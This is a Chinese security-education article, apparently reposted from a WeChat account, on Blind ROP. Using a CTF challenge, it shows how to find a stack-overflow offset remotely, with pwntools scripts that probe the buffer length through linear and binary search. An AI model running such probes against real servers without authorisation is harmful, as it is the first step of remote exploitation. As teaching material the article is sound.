文章总结: 本文介绍BlindROP盲返回导向编程技术,阐述其攻击条件与栈溢出漏洞测试方法,重点提出使用二分算法优化缓冲区长度测试效率,将测试次数从O(n)降至对数级别,并附Python代码示例演示实现过程。文章末尾含推广内容,提醒读者需授权测试并遵守法律法规。
综合评分: 72
文章分类: 二进制安全,漏洞分析,CTF,安全意识
BlindRop | 二进制漏洞中的盲注 使用二分算法测试栈溢出长度
zkaq-君叹
zkaq-君叹
掌控安全EDU
2026年9月20日 12:13
江西
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
扫码领资料
获网安教程
本文由掌控安全学院 – 君叹 投稿
来Track安全社区投稿~
千元稿费!还有保底奖励~( https://bbs.zkaq.cn )****
Blind ROP
基本介绍
BROP(Blind ROP) 于 2014 年由 Standford 的 Andrea Bittau 提出,其相关研究成果发表在 Oakland 2014,其论文题目是 Hacking Blind。
BROP 是没有对应应用程序的源代码或者二进制文件下,对程序进行攻击,劫持程序的执行流。
攻击条件
源程序必须存在栈溢出漏洞,以便于攻击者可以控制程序流程。
服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样(这也就是说即使程序有 ASLR 保护,但是其只是在程序最初启动的时候有效果)。目前 nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的。
以上来源于ctf-wiki
通常,我们在测试栈溢出漏洞的时候,我们需要知道缓冲区长度,也就是缓冲区到栈上返回地址的距离。
测试
用ctfshow上的一道例题进行演示
如下图,我们输入 abcd ,四个字节
程序返回 No passwd,See you!
通过回显可以判断程序正常运行了
这时候再输入一个很长的数据,例如100个a
我们可以看到,程序输出了 timeout
由此判断这里程序发生了错误
以此猜测,程序发生了栈溢出漏洞
栈溢出
这里也浅浅的介绍一下栈溢出
有C语言代码如下
#include <stdio.h>
int main() {
char buf[30];
read(0, buf, 0x30);
return 0;
}
程序的返回地址(即这个函数执行完了之后,要去执行哪个函数)是布在栈上的
buf也是布置在栈上的
上面的c语言代码中使用 read() 函数从标准输入中读取 0x30(48)个字节存储到buf变量,但是分配给buf的空间只有 30 个字节,还有 18 个字节(如果我们输入了的话)
会被存储到buf后面的空间里,倘若 返回地址 的位置,刚好在 buf 后面,我们就能控制返回地址,从而控制程序的执行流程
举个例子, main 函数的返回地址是 exit,也就是结束进程的函数,倘若我们把exit修改为 system(‘/bin/sh’), 就获得了目标机器执行这个程序用户的shell。
题外话就说到这里,接下来开始文章的主题
一般测试
一般情况下,在猜测目标程序存在栈溢出漏洞后,我们会写一个这样的脚本
去测试栈长度
学过算法的朋友应该能看的出来,下面这个程序的算法复杂度是O(n)
即程序有多少数据,就要运行多少次循环
# -*- coding: utf-8 -*-
# @Time : 2023/12/27 23:49
# @Author : 君叹
# @File : cs2.py
from pwn import *
buf_lenth = 1
while True:
try:
io = remote("pwn.challenge.ctf.show", None)
log.info(f"test: {buf_lenth}")
payload = b'a' * buf_lenth
io.sendafter("Welcome to CTFshow-PWN ! Do you know who is daniu?\n", payload)
if io.recv().startswith(b"No passwd,See you!"):
buf_lenth += 1
else:
log.success(f"buf length: {buf_lenth}")
io.close()
break
io.close()
except:
pass
像是本题中,缓冲区到返回地址的距离是72
(为什么不是73,因为程序发送了73个a程序报错,说明第73个a覆盖了原本返回地址的第一个字节,导致程序报错)
跑72次,不管是测试还是什么,需要的时间久,有时候服务器响应慢,要的时间就更久了
二分算法实现缓冲区长度测试函数
这里二分算法的主要逻辑分为两个部分
1 确定范围
2 得到数字
确定范围,我们可以从 1 开始,每次乘以2
代码依次发送如下payload
b’a’ 1
b’a’ 2
b’a’ 4
b’a’ 8
b’a’ 16
……
b’a’ 128
到了128,确定目标数的范围是 64-128
然后开始使用常规的二分算法进行查找
如果程序返回 No passwd 就说明程序正常运行了,小于等于目标值,右移左指针
没有返回,说明没有正常运行,大于目标值,左移右指针
# -*- coding: utf-8 -*-
# @Time : 2023/12/13 21:49
# @Author : 君叹
# @File : getLength.py
from pwn import *
# 获取栈溢出长度
def dichotomy(fun):
num = 1
jici = 0
while fun(num):
jici += 1
num *= 2 # 确定范围
min = num / 2
max = num
c = (max + min) // 2
# print(max,min)
# print("c -> ",c)
while min <= max:
jici += 1
mid = (min + max) // 2
if max - min == 1:
log.success(f"共进行了 {jici} 次链接\n栈长度为: {mid}")
return min
if fun(mid): # 返回true,成立,那就是没到位
min = mid
else:
max = mid
log.success(f"共进行了 {jici} 次链接\n栈长度为: {mid}")
return mid
def getStackLength(addr, port):
# 使用二分法快速寻找到 ebp-buf 的值
def is_True(num):
try:
io = remote(addr, port)
io.sendafter("Welcome to CTFshow-PWN ! Do you know who is daniu?\n", 'a' * int(num))
data = io.recv()
io.close()
if not data.startswith(b"No passwd"):
return False
return True
except EOFError:
io.close()
return False
return dichotomy(is_True)
if __name__ == '__main__':
addr = None
port = None
len = getStackLength(addr, port)
print(len)
运行结果
针对本题
共计14次链接,只用了原本不到20%的时间
当缓冲区空间越大,这个增幅也会越明显
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
没看够~?欢迎关注!
分享本文到朋友圈,可以凭截图找老师领取
上千教程+工具+交流群+靶场账号哦
分享后扫码加我!
回顾往期内容
代理池工具撰写 | 只有无尽的跳转,没有封禁的IP!
点赞+在看支持一下吧~感谢看官老爷~
你的点赞是我更新的动力
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:掌控安全EDU zkaq-君叹
zkaq-君叹《BlindRop | 二进制漏洞中的盲注 使用二分算法测试栈溢出长度》